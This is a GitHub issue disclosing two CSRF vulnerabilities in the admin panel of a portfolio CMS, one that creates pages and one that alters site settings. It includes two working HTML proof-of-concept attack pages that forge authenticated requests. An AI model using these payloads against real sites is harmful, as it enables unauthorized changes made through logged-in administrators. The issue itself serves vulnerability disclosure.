Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

There are two CSRF vulnerabilities that can create new pages or update the website settings #1

Open
Westbrookadmin opened this issue Aug 16, 2018 · 0 comments

Comments

@Westbrookadmin
Copy link
Owner

1.There is a CSRF vulnerability that can create new pages via admin/portfolio.php?newpage=true.

poc:

one.html---create a new page

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http:\/\/192.168.98.121\/portfolioCMS-master\/admin\/portfolio.php?newpage=true", true);
        xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3");
        xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=---------------------------8311495629179");
        xhr.withCredentials = true;
        var body = "-----------------------------8311495629179\r\n" + 
          "Content-Disposition: form-data; name=\"page_status\"\r\n" + 
          "\r\n" + 
          "1\r\n" + 
          "-----------------------------8311495629179\r\n" + 
          "Content-Disposition: form-data; name=\"page_title\"\r\n" + 
          "\r\n" + 
          "DDDDadmin\r\n" + 
          "-----------------------------8311495629179\r\n" + 
          "Content-Disposition: form-data; name=\"fileToUpload\"; filename=\"\"\r\n" + 
          "Content-Type: application/octet-stream\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "-----------------------------8311495629179\r\n" + 
          "Content-Disposition: form-data; name=\"page_image\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "-----------------------------8311495629179\r\n" + 
          "Content-Disposition: form-data; name=\"page_content\"\r\n" + 
          "\r\n" + 
          "11111111111111111\r\n" + 
          "-----------------------------8311495629179--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));
      }
    </script>
    <form action="#">
      <input type="button" value="Submit request" onclick="submitRequest();" />
    </form>
  </body>
</html>

2.There is a CSRF vulnerability that can update the website settings via admin/aboutus.php.

poc:

two.html---update the website settings

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://192.168.98.121/portfolioCMS-master/admin/aboutus.php" method="POST">
      <input type="hidden" name="about&#95;heading" value="About" />
      <input type="hidden" name="about&#95;content" value="Westbrook" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant